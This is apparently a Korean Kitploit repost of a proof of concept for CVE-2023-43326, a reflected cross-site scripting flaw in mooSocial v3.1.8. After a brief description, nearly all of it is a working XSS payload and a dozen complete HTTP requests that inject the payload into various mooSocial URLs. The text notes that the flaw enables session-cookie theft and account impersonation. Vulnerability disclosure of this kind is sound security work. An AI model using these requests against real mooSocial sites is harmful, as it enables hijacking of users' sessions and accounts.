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CVE-2023-43326 — mooSocial v3.1.8은 여러 URL에서 사이트 간 스크립팅에 취약합니다. | Kitploit
도구/GitHubGitHub/ahrixia/cve-2023-43326
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubahrixia/cve-2023-43326

CVE-2023-43326

mooSocial v3.1.8은 여러 URL에서 사이트 간 스크립팅에 취약합니다.

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공유

mooSocial: XSS (CVE-2023-43326)

mooSocial v3.1.8의 여러 URL에 반사형 XSS 취약점이 존재합니다. 이 취약점을 통해 공격자는 조작된 URL을 사용하여 사용자의 세션 쿠키를 탈취하고 계정을 가장할 수 있습니다.

참고: 이러한 URL이 Referer 헤더에 사용될 때도 XSS가 작동합니다. 아래에 몇 가지 예가 있으며, 아래와 같은 URL 중 더 많은 취약점이 있을 수 있습니다.

익스플로잇 - 개념 증명 (PoC)

반사형 XSS

root@kitploit:~
Payload : ahrixia">ahrixia 
Payload (Url encoded): ahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia

image

/moosocial/users/change_email 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?step1=1 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/users/change_email
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Connection: close

/moosocial/users/recovery 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/users/recoveryahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?data%5Bemail%5D=566782 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/users/recover
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/users/profile 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/users/profileahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/-aazllyyo5wvv
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Connection: close

/moosocial/users/do_logout 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/users/do_logoutahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0

/moosocial/topics/create 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/topics/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/topics
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/search/index 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/search/indexahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia/?q=as HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/user_info/index/messages
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

/moosocial/groups/create 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/groups/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/groups
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/events/create 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/events/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/events
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/cron/task/run 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/cron/task/runbahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?key=3FSE@ HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0

/moosocial/blogs/create 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/blogs/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/blogs
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/activities/post-feed 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/activities/post-feedahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

/moosocial/activities/ajax_share 에 대한 GET 요청:

root@kitploit:~
GET /moosocial/activities/ajax_shareahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
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